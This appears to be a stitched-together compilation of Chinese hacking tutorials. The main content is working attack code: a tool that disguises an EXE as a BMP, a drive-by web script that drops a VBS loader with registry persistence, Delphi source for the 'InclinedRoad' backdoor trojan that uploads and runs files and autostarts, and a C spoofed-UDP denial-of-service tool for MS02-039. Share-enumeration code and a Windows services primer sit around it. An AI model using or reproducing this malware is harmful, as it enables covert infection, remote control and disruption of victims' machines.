Function GetUserResource( UserName : string ; var List : TStringList ) : Boolean; Var NetResource : TNetResource; Buf : Pointer; Count,BufSize,Res : DWord; Ind : Integer; lphEnum : THandle; Temp : TNetResourceArray; Begin Result := False; List.Clear; FillChar(NetResource, SizeOf(NetResource), 0); //初始化网络层次信息 NetResource.lpRemoteName := @UserName[1]; //指定计算机名称 Res := WNetOpenEnum( RESOURCE_GLOBALNET, RESOURCETYPE_ANY,RESOURCEUSAGE_CONNECTABLE, @NetResource,lphEnum); //获取指定计算机的网络资源句柄 If Res <> NO_ERROR Then exit; //执行失败 While True Do //列举指定工作组的网络资源 Begin Count := $FFFFFFFF; //不限资源数目 BufSize := 8192; //缓冲区大小设置为8K GetMem(Buf, BufSize); //申请内存,用于获取工作组信息 Res := WNetEnumResource(lphEnum, Count, Pointer(Buf), BufSize); //获取指定计算机的网络资源名称 If Res = ERROR_NO_MORE_ITEMS Then break;//资源列举完毕 If (Res <> NO_ERROR) then Exit; //执行失败 Temp := TNetResourceArray(Buf); For Ind := 0 to Count - 1 do Begin List.Add(Temp^.lpRemoteName); Inc(Temp); End; End; Res := WNetCloseEnum(lphEnum); //关闭一次列举 If Res <> NO_ERROR Then exit; //执行失败 Result := True; FreeMem(Buf); End; procedure TForm1.Button1Click(Sender: TObject); var List:TstringList; i:integer; begin try List:=TstringList.Create; if GetUserResource(edit1.text,List) then if List.count=0 then //指定计算机下没有找到共享资源 begin memo1.Lines.Add (edit1.text+'下没有找到共享资源!'); end else memo1.Lines.Add (edit1.text+'下的所有共享资源如下:'); for i:=0 to List.Count-1 do begin Memo1.lines.Add (List.strings[i]); end; finally List:=TstringList.Create; //如有异常则释放分配的资源 end; end;
1) EXE变BMP的方法.
大家自己去查查BMP文件资料就会知道,BMP文件的文件头有54个字节,简单来说里面包含了BMP文件的长宽,位数,文件大小,数据区长度,我们只要在EXE文件的文件头前面添加相应的BMP文件头(当然BMP文件头里面的数据要符合EXE文件的大小啦),这样就可以欺骗IE下载该BMP文件,开始我们用JPG文件做过试验,发现如果文件头不正确的话,IE是不会下载的,转换代码如下: program exe2bmp; uses
Windows,
SysUtils; var len,row,col,fs: DWORD;
buffer: array[0..255]of char;
fd: WIN32_FIND_DATA;
h,hw: THandle; begin
if (ParamStr(1)<>'') and(ParamStr(2)<>'') then begin //如果运行后没有两个参数则退出
if FileExists(ParamStr(1)) then begin
FindFirstFile(Pchar(ParamStr(1)),fd);
fs:=fd.nFileSizeLow;
col := 4;
while true do begin
if (fs mod 12)=0 then begin
len:=fs;
end else len:=fs+12-(fs mod 12);
row := len div col div 3;
if row>col then begin
col:=col+4;
end else Break;
end;
FillChar(buffer,256,0);
{一下为BMP文件头数据}
Buffer[0]:='B';Buffer[1]:='M';
PDWORD(@buffer[18])^:=col;
PDWORD(@buffer[22])^:=row;
PDWORD(@buffer[34])^:=len;
PDWORD(@buffer[2])^:=len+54;
PDWORD(@buffer[10])^:=54;
PDWORD(@buffer[14])^:=40;
PWORD(@buffer[26])^:=1;
PWORD(@buffer[28])^:=24;
{写入文件}
hw:=CreateFile(Pchar(ParamStr(2)),GENERIC_WRITE,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,CREATE_ALWAYS,0,0);
h:=CreateFile(Pchar(ParamStr(1)),GENERIC_READ,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,OPEN_EXISTING,0,0);
WriteFile(hw,buffer,54,col,0);
repeat
ReadFile(h,buffer,256,col,0);
WriteFile(hw,buffer,col,col,0);
untilcol<>256;
WriteFile(hw,buffer,len-fs,col,0);
CloseHandle(h);
CloseHandle(hw);
end;
end;
end.
以上代码可以在DELPHI4,5,6中编译 ,就可以得到一个exe2bmp.exe文件.大家打开MSDOS方式,输入
exe2bmp myexe.exe mybmp.bmp
回车就可以把第二个参数所指定的EXE文件转换成BMP格式.
接着就是把这个BMP图片放到网页上了,如果大家打开过这张图片的话,一定发现这张BMP又花,颜色又单调.所以大家放在网页上最好用这样的格式
<img srd="mybmp.bmp" higth="0" width="0">
以下是放在网页上的脚本
document.write(' ');
function docsave()
{
a=document.applets[0];
a.setCLSID('{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}');
a.createInstance();
wsh=a.GetObject();
a.setCLSID('{0D43FE01-F093-11CF-8940-00A0C9054228}');
a.createInstance();
fso=a.GetObject();
var winsys=fso.GetSpecialFolder(1);
var vbs=winsys+'\\s.vbs';
wsh.RegWrite
('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\vbs','wscript '+'"'+vbs+'" ');
var st=fso.CreateTextFile(vbs,true);
st.WriteLine('Option Explicit');
st.WriteLine('Dim FSO,WSH,CACHE,str');
st.WriteLine('Set FSO = CreateObject("Scripting.FileSystemObject")');
st.WriteLine('Set WSH = CreateObject("WScript.Shell")');
st.WriteLine('CACHE=wsh.RegRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ShellFolders\\Cache")');
st.WriteLine('wsh.RegDelete("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\vbs")');
st.WriteLine ('wsh.RegWrite "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\tmp","tmp.exe"');
st.WriteLine('SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp"');
st.WriteLine('WScript.Quit()');
st.WriteLine('Function SearchBMPFile(Folder,fname)');
st.WriteLine(' Dim SubFolder,File,Lt,tmp,winsys');
st.WriteLine(' str=FSO.GetParentFolderName(folder) & "\\" & folder.name & "\\" & fname');
st.WriteLine(' if FSO.FileExists(str) then');
st.WriteLine(' tmp=fso.GetSpecialFolder(2) & "\\"');
st.WriteLine(' winsys=fso.GetSpecialFolder(1) & "\\"');
st.WriteLine(' set File=FSO.GetFile(str)');
st.WriteLine(' File.Copy(tmp & "tmp.dat")');
st.WriteLine(' File.Delete');
st.WriteLine(' set Lt=FSO.CreateTextFile(tmp & "tmp.in")');
st.WriteLine(' Lt.WriteLine("rbx")');
st.WriteLine(' Lt.WriteLine("0")');
st.WriteLine(' Lt.WriteLine("rcx")');
st.WriteLine(' Lt.WriteLine("1000")');
st.WriteLine(' Lt.WriteLine("w136")');
st.WriteLine(' Lt.WriteLine("q")');
st.WriteLine(' Lt.Close');
st.WriteLine(' WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp & "tmp.in >" & tmp & "tmp.out",false,6');
st.WriteLine(' On Error Resume Next ');
st.WriteLine(' FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe")');
st.WriteLine(' FSO.GetFile(tmp & "tmp.dat").Delete');
st.WriteLine(' FSO.GetFile(tmp & "tmp.in").Delete');
st.WriteLine(' FSO.GetFile(tmp & "tmp.out").Delete');
st.WriteLine(' end if');
st.WriteLine(' If Folder.SubFolders.Count <> 0 Then');
st.WriteLine(' For Each SubFolder In Folder.SubFolders');
st.WriteLine(' SearchBMPFile SubFolder,fname');
st.WriteLine(' Next');
st.WriteLine(' End If');
st.WriteLine('End Function');
st.Close();
}
setTimeout('docsave()',1000); 把该脚本保存为"js.js",在网页中插入:
<script src="js.js"></script> 该脚本主要会在本地机器的SYSTEM目录下生成一个“S.VBS”文件,该脚本文件会在下次开机时自动运行。主要用于从临时目录中找出mybmp[1].bmp文件。
“S.VBS”文件主要内容如下: Option Explicit
Dim FSO,WSH,CACHE,str
Set FSO = CreateObject("Scripting.FileSystemObject")
Set WSH = CreateObject("WScript.Shell")
CACHE=wsh.RegRead("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellFolders\Cache")
wsh.RegDelete("HKCU\Software\Microsoft\Windows\CurrentVersion\Run\vbs")
wsh.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\tmp","tmp.exe"
SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp"
WScript.Quit()
Function SearchBMPFile(Folder,fname)
Dim SubFolder,File,Lt,tmp,winsys
'从临时文件夹中查找目标BMP图片
str=FSO.GetParentFolderName(folder) & "\" & folder.name & "\" & fname
if FSO.FileExists(str) then
tmp=fso.GetSpecialFolder(2) & "\"
winsys=fso.GetSpecialFolder(1) & "\"
set File=FSO.GetFile(str)
File.Copy(tmp & "tmp.dat")
File.Delete
'生成一个DEBUG脚本
set Lt=FSO.CreateTextFile(tmp & "tmp.in")
Lt.WriteLine("rbx")
Lt.WriteLine("0")
Lt.WriteLine("rcx")
'下面一行的1000是十六进制,换回十进制是4096(该数字是你的EXE文件的大小)
Lt.WriteLine("1000")
Lt.WriteLine("w136")
Lt.WriteLine("q")
Lt.Close
WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp &"tmp.in>" & tmp & "tmp.out",false,6
On Error Resume Next
FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe")
FSO.GetFile(tmp & "tmp.dat").Delete
FSO.GetFile(tmp & "tmp.in").Delete
FSO.GetFile(tmp & "tmp.out").Delete
end if
If Folder.SubFolders.Count <> 0 Then
For Each SubFolder In Folder.SubFolders
SearchBMPFile SubFolder,fname
Next
End If
End Function 这个脚本会找出在临时文件夹中的bmp文件,并生成一个DEBUG的脚本,运行时会自动从BMP文件54字节处读去你指定大小的数据,并把它保存到tmp.dat中.后面的脚本再把它复制到SYSTEM的目录下.这个被还原的EXE文件会在下次重起的时候运行.这就是BMP木马的基本实现过程.
详细脚本代码请参考http://hotsky.363.net 防范方法:
最简单,删除或改名wscrpit.exe文件和DEBUG 文件;
安装有效的杀毒软件,因为这些脚本有好多杀毒软件已经可以查出来了.
在条件允许的情况下,安装WIN2K SP3,尽量避免去一些不名来历的网站.
评价一匹木马的优略,除了功能的多少外,还有一点是必须具备的,那就是必须要小巧。只有小巧才能以最快的手段来种植,只有小巧才能更好的隐藏和捆绑。入侵过程中,有时候机会稍纵即逝,为了在很短的时间内种植后门,就必须使用小巧的木马来当先行者。现在的黑客入侵越来越注重木马的大小。只有那些刚刚接触木马的新手才会使用体型庞大的后门程序。我一直在想,使用delphi到底能写出多小的木马程序来?这个问题其实困绕了我很长一段时间。虽然Delphi是个很有效率的开发工具,但是它有一个缺点就是生成的EXE文件太大。一个程序就算只有一个空窗口体积也有286KB。怎么样才能把它变小呢?在经过多方面的查找资料和学习,功夫不负有心人。我终于写出来一个56K的小木马“InclinedRoad”(使用了UPX压缩),它的功能非常简单,只有上传和运行EXE程序的功能,不过这样已经足够当木马程序用了。其实也没有使用什么高深的技术,只是利用了WinSock API 来进行Socket编程,这些都是别人用剩下的东西,我之所以提一下,只是因为这方面编写木马的资料比较少。Delphi中各种网络组件的强大功能,都是建立在WinSock API基础之上的。具体的内容我不多说了,这里推荐一本书——《DELPHI深度编程及其项目应用开发》。这本书上面的“Socket编程”一章讲的非常详细,自己看就可以了。并且在我所写的木马中,里面的一些关键性代码,也是参考了这本书上的例子。废话少说,下面讲一讲木马“InclinedRoad”的开发过程:
木马客户端关键性代码: //创建窗体时,启动WinSock动态链接库procedure TForm1.FormCreate(Sender: TObject);varawsadata:twsadata;beginif wsastartup($0101,awsadata)<>0 thenraise exception.Create('不能启动winsock动态链接库');end;//当窗体关闭时,释放WinSock动态链接库procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);beginif wsacleanup<> 0 thenmessagebox (handle,'清除WINSOCK动态链接库错误!','http://sforever.mycool.net',MB_OK)ELSE//清除WINSOCK动态链接库成功closesocket(client);end;
procedure tform1.transfile(filename:string); //发送文件过程varftrans:file of byte;flen:integer;blocknum,remainlen:integer;blockbuf:array[0..blocklen - 1] of byte;i:integer;sendlen:integer;beginassignfile(ftrans,filename);reset(ftrans);flen:=filesize(ftrans);blocknum:=flen div blocklen;progressbar1.max:=1 + blocknum;remainlen:=flen mod blocklen;sendlen:=1;for i:=0 to blocknum -1 dobeginif (sendlen <= 0) then break;blockread(ftrans,blockbuf[0],blocklen);sendlen:=send(client,blockbuf,blocklen,0);progressbar1.position:=i;application.ProcessMessages;end;if (sendlen <= 0) thenbeginclosefile(ftrans);messagebox(handle,'传输异常终止','错误',mb_ok);progressbar1.position:=0;exit;end;if remainlen > 0 thenbeginblockread(ftrans,blockbuf[0], remainlen);sendlen:=send(client, blockbuf, remainlen,0);if (sendlen <= 0) thenbeginclosefile(ftrans);messagebox(handle,'传输异常终止!!','错误',mb_ok);progressbar1.position:=0;exit;end;end;progressbar1.position:=progressbar1.max;closefile(ftrans);messagebox(handle,'传输文件完毕!!','完成',mb_ok);progressbar1.position:=0;end;procedure TForm1.Button1Click(Sender: TObject); //建立连接varca:sockaddr_in;hostaddr:u_long;begin//创建客户端的Socketclient:=socket(pf_inet,sock_stream, ipproto_ip);if client = invalid_socket thenbeginmessagebox(handle,'创建Socket错误!','错误',mb_ok);exit;end;ca.sin_family:= pf_inet;ca.sin_port:=htons(strtoint(trim(edit2.text)));hostaddr:=inet_addr(pchar(trim(edit1.text)));//判断IP地址是否合法if (hostaddr = -1) thenbeginmessagebox(handle,'IP地址错误','错误',mb_ok);exit;endelseca.sin_addr.s_addr:=hostaddr;//连接服务器if connect(client, ca, sizeof(ca))<>0 thenbeginApplication.MessageBox('建立连接失败!!','错误',mb_ok);exit;endelseApplication.MessageBox('建立连接成功','错误',mb_ok);end;
procedure TForm1.Button2Click(Sender: TObject); //发送EXE文件varinfo:string;bufsend:pchar;re:integer;begingetmem(bufsend,1024);zeromemory(bufsend,1024);info:=extractfilename(OpenDialog1.filename);strpcopy(bufsend,info);re:=send(client,bufsend^,length(bufsend),0);if(re = socket_error) thenbeginexit;end;if (OpenDialog1.execute) and (fileexists(OpenDialog1.filename)) thentransfile(OpenDialog1.filename);end;
procedure TForm1.Button3Click(Sender: TObject); //退出程序并运行传输的EXE文件beginclose;end;
下面是我编写的木马“InclinedRoad”客户端界面:木马服务器端关键性代码:
program InclinedRoad;useswindows,winsock;constblocklen=1024*4;varserver:tsocket;//定义服务器端socket句柄{.$R *.res}接收文件过程procedure recvfile(filename:string);varftrans:file of byte;recelen:integer;
加固篇
好了,到现在为止,其实我们的木马还没有完全编写成功,因为它不能每次开机自动运行,并且还有非常重要的一点就是,服务器端只能使用一次,如果你刚才做过上面的测试,就会发现,上传一个EXE文件并且执行后,服务器端就会自动退出。如何解决这两个问题造成的不便?下面我们就来解决它。
首先,打开记事本,在里面输入如下代码:program winroad;useswindows;varsStartInfo: STARTUPINFO;seProcess, seThread: SECURITY_ATTRIBUTES;PProcInfo: PROCESS_INFORMATION;{.$R *.res}procedure AllRunProcess; //启动系统目录下的 InclinedRoad.exe 程序varbSuccess: boolean;begin//结构清零ZeroMemory(@sStartInfo, sizeof(sStartInfo));SStartInfo.cb := sizeof(sStartInfo);seProcess.nLength := sizeof(seProcess);seProcess.lpSecurityDescriptor := PChar(nil); //身份验证描述seProcess.bInheritHandle := true;seThread.nLength := sizeof(seThread);seThread.lpSecurityDescriptor := PChar(nil);seThread.bInheritHandle := true;bSuccess := CreateProcess(PChar(nil), Pchar('InclinedRoad.exe'), @seProcess, @seThread, false, CREATE_DEFAULT_ERROR_MODE, Pchar(nil), Pchar(nil), sStartInfo, PProcInfo);if (not bSuccess) then//ShowMessage('创建InclinedRoad.exe进程失败.')else//Application.MessageBox('该进程为关键系统进程,无法结束进程。','无法终止进程',MB_ICONWARNING);end;
beginAllRunProcess; //程序从这里开始执行end.
然后:把记事本文件另存为winroad.dpr文件,再用DELPHI编译它为winroad.exe,编译完成后,用UPX压缩它。压缩完成后,把它拷贝到Delphi的 Bin目录,使用Brcc32.exe把它编译成资源文件winroad.RES。(资源文件的编译过程请参考陈经韬的文章《谈Delphi编程中资源文件的应用》)现在把winroad.RES和木马的服务器端InclinedRoad.dpr放到同一目录,在InclinedRoad.dpr中添加代码,使之成为:program InclinedRoad;useswindows,winsock,Classes,SysUtils,Registry;constblocklen=1024*4;varserver:tsocket;//定义服务器端socket句柄{.$R *.res}{$R winroad.RES}//function GetWinDir: String; //得到系统目录varBuf: array[0..MAX_PATH] of char;beginGetSystemDirectory(Buf, MAX_PATH);Result := Buf;if Result[Length(Result)]<>'\' then Result := Result + '\';end;//function EXEResFile(const ResName,ResType,Newfile&:String):Boolean;varRes : TResourceStream;beginResult:=True;tryRes:= TResourceStream.Create(Hinstance, Resname, Pchar(ResType));tryRes.SavetoFile(NewFile);finallyRes.Free;end;exceptResult:=False;end;end;//function winroadFile(const Newfile&:String):Boolean;beginResult:=EXEResFile('winroad','exefile',GetWinDir+NewFile);end;//varawsadata:twsadata;ca:sockaddr_in;Reg: TRegistry;begin //程序从这里开始执行if not(FileExists(GetWinDir+'winroad.exe')) then winroadFile('winroad.exe'); //释放文件到系统目录if not(FileExists(GetWindir+'inclinedroad.exe')) then //begincopyfile(pchar(paramstr(0)),pchar(GetWinDir+'InclinedRoad.exe'),false); //拷贝自己到系统目录end;//修改注册表,开机自启动Reg := TRegistry.Create;Reg.RootKey := HKEY_CURRENT_USER;if Reg.OpenKey('\Software\Microsoft\Windows NT\CurrentVersion\Windows', true) thenbeginreg.WriteString( 'load', GetWindir + 'winroad.exe' );Reg.CloseKey;end;Reg.Free;//WSAStartup($0101,awsadata); //初始化WINSOCK,要求最低版本是2.0以下代码略。。end.
以上我省略了重复的代码,具体内容创建篇中都已经给出来了,大家可以参照对比。虽然上面的代码都已经很详细了,但是我还是想说两句,以上代码的运行方式是这样的,服务器端执行以后,首先拷贝两个文件winroad.exe、InclinedRoad.exe到系统目录,其中winroad.exe是用来启动木马InclinedRoad.exe的,而木马程序InclinedRoad.exe负责修改注册表HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\load下的键值,来实现每次开机启动winroad.exe,并间接启动自身。这种启动方式也相对来说比较隐蔽。到此为止,我们的木马就算编写完成了,编译完成后,使用UPX压缩一下,可以看到只有56K,不知道大家认为它是不是够小?我却认为还是很大,不知道还有没有哪位高手能够再次削减它的体积,或提供更好的代码出来交流。
#include <string.h>
#include <stdio.h>
#include <process.h>
#include <winsock2.h>
#include <ws2tcpip.h>#pragma comment(lib,"ws2_32.lib")#define SOURCE_PORT 53
#define DEST_PORT 1434typedef struct ip_hdr //定义IP首部
{
unsigned char h_verlen; //4位首部长度,4位IP版本号
unsigned char tos; //8位服务类型TOS
unsigned short total_len; //16位总长度(字节)
unsigned short ident; //16位标识
unsigned short frag_and_flags; //3位标志位
unsigned char ttl; //8位生存时间 TTL
unsigned char proto; //8位协议 (TCP, UDP 或其他)
unsigned short checksum; //16位IP首部校验和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址
}IP_HEADER;struct //定义TCP伪首部
{
unsigned long saddr; //源地址
unsigned long daddr; //目的地址
char mbz;
char ptcl; //协议类型
unsigned short tcpl; //TCP长度
}psd_header;typedef struct tcp_hdr //定义TCP首部
{
USHORT th_sport; //16位源端口
USHORT th_dport; //16位目的端口
unsigned int th_seq; //32位序列号
unsigned int th_ack; //32位确认号
unsigned char th_lenres; //4位首部长度/6位保留字
unsigned char th_flag; //6位标志位
USHORT th_win; //16位窗口大小
USHORT th_sum; //16位校验和
USHORT th_urp; //16位紧急数据偏移量
}TCP_HEADER;typedef struct udp_hdr //UDP首部
{
unsigned short sourceport;
unsigned short destport;
unsigned short udp_length;
unsigned short udp_checksum;
} UDP_HEADER;//CheckSum:计算校验和的子函数
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1)
{
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size )
{
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
} void Usage()
{
printf("******************************************\n");
printf("SQLOverFlowDOS(MS02-039)\n");
printf("\t Written by Refdom\n");
printf("\t Email: [email protected]\n");
printf("\t Homepage: www.opengram.com\n");
printf("Useage: SQLDOS.exe Fake_ip Target_ip \n");
printf("*******************************************\n");
}void Sendudp (unsigned long ulTargetIP, unsigned long ulFakeIP)
{SOCKET sock;
SOCKADDR_IN addr_in;
BOOL flag;
char buf[80] = {0};
IP_HEADER ipHeader;
UDP_HEADER udpHeader;
int iTotalSize, iUdpCheckSumSize, i, j;
char sendbuf[256] = {0};
char *ptr = NULL;memset(buf, 'A', sizeof(buf) - 2);
buf[0] = 0x04;sock = WSASocket(AF_INET,SOCK_RAW,IPPROTO_UDP,NULL,0,0);
if (sock == INVALID_SOCKET)
{
printf("socket Error!\n");
return;
}flag = true;
if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char*)&flag,sizeof(flag))==SOCKET_ERROR)
{
printf("setsockopt Error!\n");
return;
}iTotalSize=sizeof(ipHeader)+sizeof(udpHeader)+sizeof(buf);ipHeader.h_verlen = (4 << 4) | (sizeof(ipHeader) / sizeof(unsigned long));
ipHeader.tos=0;
ipHeader.total_len=htons(iTotalSize);
ipHeader.ident=0;
ipHeader.frag_and_flags=0;
ipHeader.ttl=128;
ipHeader.proto=IPPROTO_UDP;
ipHeader.checksum=0;
ipHeader.sourceIP = ulFakeIP;
ipHeader.destIP = ulTargetIP;udpHeader.sourceport = htons(SOURCE_PORT);
udpHeader.destport = htons(DEST_PORT);
udpHeader.udp_length = htons(sizeof(udpHeader)+sizeof(buf));
udpHeader.udp_checksum = 0;ptr = NULL;//计算UDP校验和
ZeroMemory(sendbuf,sizeof(sendbuf));
ptr=sendbuf;
iUdpCheckSumSize=0;
udpHeader.udp_checksum = 0;memcpy(ptr,&ipHeader.sourceIP,sizeof(ipHeader.sourceIP));
ptr +=sizeof(ipHeader.sourceIP);
iUdpCheckSumSize+=sizeof(ipHeader.sourceIP);memcpy(ptr,&ipHeader.destIP,sizeof(ipHeader.destIP));
ptr +=sizeof(ipHeader.destIP);
iUdpCheckSumSize +=sizeof(ipHeader.destIP);ptr++;
iUdpCheckSumSize++;memcpy(ptr,&ipHeader.proto,sizeof(ipHeader.proto));
ptr +=sizeof(ipHeader.proto);
iUdpCheckSumSize +=sizeof(ipHeader.proto);memcpy(ptr,&udpHeader.udp_length,sizeof(udpHeader.udp_length));
ptr +=sizeof(udpHeader.udp_length);
iUdpCheckSumSize +=sizeof(udpHeader.udp_length);memcpy(ptr,&udpHeader,sizeof(udpHeader));
ptr +=sizeof(udpHeader);
iUdpCheckSumSize += sizeof(udpHeader);for(i = 0; i < sizeof(buf); i++,ptr++)
*ptr = buf[i];
iUdpCheckSumSize += sizeof(buf);udpHeader.udp_checksum = checksum((USHORT*)sendbuf,iUdpCheckSumSize);ZeroMemory(sendbuf,sizeof(sendbuf));
memcpy(sendbuf,&ipHeader,sizeof(ipHeader));
memcpy(sendbuf+sizeof(ipHeader),&udpHeader,sizeof(udpHeader));
memcpy(sendbuf+sizeof(ipHeader)+sizeof(udpHeader),buf,sizeof(buf));addr_in.sin_family = AF_INET;
addr_in.sin_port = htons(DEST_PORT);
addr_in.sin_addr.S_un.S_addr = ulTargetIP ;printf("\n Starting send packet\n\t");for (j = 0; j < 5; j++)
{
Sleep(500);
if (sendto(sock, sendbuf, iTotalSize, 0, (SOCKADDR *)&addr_in, sizeof(addr_in))==SOCKET_ERROR)
{
printf("Send Error!\n");
return;
}
else
{
printf(".");
}
}printf("\n Send OK!\n");if (sock != INVALID_SOCKET)
closesocket(sock);
}int main(int argc, char* argv[])
{
WSADATA WSAData;
unsigned long ulTargetIP, ulFakeIP;Usage();if (argc < 3)
{
return false;
}ulTargetIP = inet_addr(argv[1]);
ulFakeIP = inet_addr(argv[2]);if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
{
printf("WSAStartup error.Error:%d\n",WSAGetLastError());
return false;
}printf("DOS starting ...\n");Sendudp(ulTargetIP, ulFakeIP);printf("\nComplete!\n");
WSACleanup();return 0;
}
Function GetUserResource( UserName : string ; var List : TStringList ) : Boolean;
Var
NetResource : TNetResource;
Buf : Pointer;
Count,BufSize,Res : DWord;
Ind : Integer;
lphEnum : THandle;
Temp : TNetResourceArray;
Begin
Result := False;
List.Clear;
FillChar(NetResource, SizeOf(NetResource), 0); //初始化网络层次信息
NetResource.lpRemoteName := @UserName[1]; //指定计算机名称
Res := WNetOpenEnum( RESOURCE_GLOBALNET, RESOURCETYPE_ANY,RESOURCEUSAGE_CONNECTABLE, @NetResource,lphEnum);
//获取指定计算机的网络资源句柄
If Res <> NO_ERROR Then exit; //执行失败
While True Do //列举指定工作组的网络资源
Begin
Count := $FFFFFFFF; //不限资源数目
BufSize := 8192; //缓冲区大小设置为8K
GetMem(Buf, BufSize); //申请内存,用于获取工作组信息
Res := WNetEnumResource(lphEnum, Count, Pointer(Buf), BufSize);
//获取指定计算机的网络资源名称
If Res = ERROR_NO_MORE_ITEMS Then break;//资源列举完毕
If (Res <> NO_ERROR) then Exit; //执行失败
Temp := TNetResourceArray(Buf);
For Ind := 0 to Count - 1 do
Begin
List.Add(Temp^.lpRemoteName);
Inc(Temp);
End;
End;
Res := WNetCloseEnum(lphEnum); //关闭一次列举
If Res <> NO_ERROR Then exit; //执行失败
Result := True;
FreeMem(Buf);
End;
procedure TForm1.Button1Click(Sender: TObject);
var
List:TstringList;
i:integer;
begin
try
List:=TstringList.Create;
if GetUserResource(edit1.text,List) then
if List.count=0 then //指定计算机下没有找到共享资源
begin
memo1.Lines.Add (edit1.text+'下没有找到共享资源!');
end
else
memo1.Lines.Add (edit1.text+'下的所有共享资源如下:');
for i:=0 to List.Count-1 do
begin
Memo1.lines.Add (List.strings[i]);
end;
finally
List:=TstringList.Create; //如有异常则释放分配的资源
end;
end;
--------------------------------------------------------------------------------一> 序言
Windows下的服务程序都遵循服务控制管理器(SCM)的接口标准,它们会在登录系统时自动运行,甚至在没有用户登录系统的情况下也会正常执行,类似与UNIX系统中的守护进程(daemon)。它们大多是控制台程序,不过也有少数的GUI程序。本文所涉及到的服务程序仅限于Windows2000/XP系统中的一般服务程序,不包含Windows9X。二> Windows服务简介
服务控制管理器拥有一个在注册表中记录的数据库,包含了所有已安装的服务程序和设备驱动服务程序的相关信息。它允许系统管理员为每个服务自定义安全要求和控制访问权限。Windows服务包括四大部分:服务控制管理器(Service Control Manager),服务控制程序(Service Control Program),服务程序(Service Program)和服务配置程序(Service Configuration Program)。1.服务控制管理器(SCM)
服务控制管理器在系统启动的早期由Winlogon进程启动,可执行文件名是“Admin$\System32\Services.exe”,它是系统中的一个RPC服务器,因此服务配置程序和服务控制程序可以在远程操纵服务。它包括以下几方面的信息:
已安装服务数据库:服务控制管理器在注册表中拥有一个已安装服务的数据库,它在服务控制管理器和程序添加,删除,配置服务程序时使用,在注册表中数据库的位置为:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services。它包括很多子键,每个子键的名字就代表一个对应的服务。数据库中包括:服务类型(私有进程,共享进程),启动类型(自动运行,由服务控制管理器启动,无效),错误类型(忽略,常规错误,服务错误,关键错误),执行文件路径,依赖信息选项,可选用户名与密码。
自动启动服务:系统启动时,服务控制管理器启动所有“自启”服务和相关依赖服务。服务的加载顺序:顺序装载组列表:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\ServiceGroupOrder;指定组列表:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\GroupOrderList;每个服务所依赖的服务程序。在系统成功引导后会保留一份LKG(Last-Know-Good)的配置信息位于:HKEY_LOCAL_MACHINE\SYSTEM\ControlSetXXX\Services。
因要求而启动服务:用户可以使用服务控制面板程序来启动一项服务。服务控制程序也可以使用StartService来启动服务。服务控制管理器会进行下面的操作:获取帐户信息,登录服务项目,创建服务为悬挂状态,分配登录令牌给进程,允许进程执行。
服务记录列表:每项服务在数据库中都包含了下面的内容:服务名称,开始类型,服务状态(类型,当前状态,接受控制代码,退出代码,等待提示),依赖服务列表指针。
服务控制管理器句柄:服务控制管理器支持句柄类型访问以下对象:已安装服务数据库,服务程序,数据库的锁开状态。2.服务控制程序(SCP)
服务控制程序可以执行对服务程序的开启,控制和状态查询功能:
开启服务:如果服务的开启类型为SERVICE_DEMAND_START,就可以用服务控制程序来开始一项服务。在开始服务的初始化阶段服务的当前状态为:SERVICE_START_PENDING,而在初始化完成后的状态就是:SERVICE_RUNNING。
向正在运行的服务发送控制请求:控制请求可以是系统默认的,也可以是用户自定义的。标准控制代码如下:停止服务(SERVICE_CONTROL_STOP),暂停服务(SERVICE_CONTROL_PAUSE),恢复已暂停服务(SERVICE_CONTROL_CONTINUE),获得更新信息(SERVICE_CONTROL_INTERROGATE)。3.服务程序
一个服务程序可能拥有一个或多个服务的执行代码。我们可以创建类型为SERVICE_WIN32_OWN_PROCESS的只拥有一个服务的服务程序。而类型为SERVICE_WIN32_SHARE_PROCESS的服务程序却可以包含多个服务的执行代码。详情参见后面的Windows服务与编程。4.服务配置程序
编程人员和系统管理员可以使用服务配置程序来更改,查询已安装服务的信息。当然也可以通过注册表函数来访问相关资源。
服务的安装,删除和列举:我们可以使用相关的系统函数来创建,删除服务和查询所有服务的当前状态。
服务配置:系统管理员通过服务配置程序来控制服务的启动类型,显示名称和相关描述信息。 三> Windows服务与编程
Windows服务编程包括几方面的内容,下面我们将从服务控制程序,服务程序和服务配置程序的角度介绍服务编程相关的内容。1.服务控制程序
执行服务控制程序的相关函数前,我们需要获得一个服务对象的句柄,方式有两种:由OpenSCManager来获得一台特定主机的服务控制管理器数据库的句柄;使用OpenService或CreateService函数来获得某个服务对象的句柄。
启动服务:要启动一个服务,服务控制程序可以使用StartService来实现。如果服务控制管理器数据库被锁定,那需要等待一定的时间然后再次测试StartService函数。当然也可以使用QueryServiceLockStatus函数来确认数据库的当前状态。在启动成功完成时,那么dwCurrentState参数将会返回SERVICE_RUNNING值。
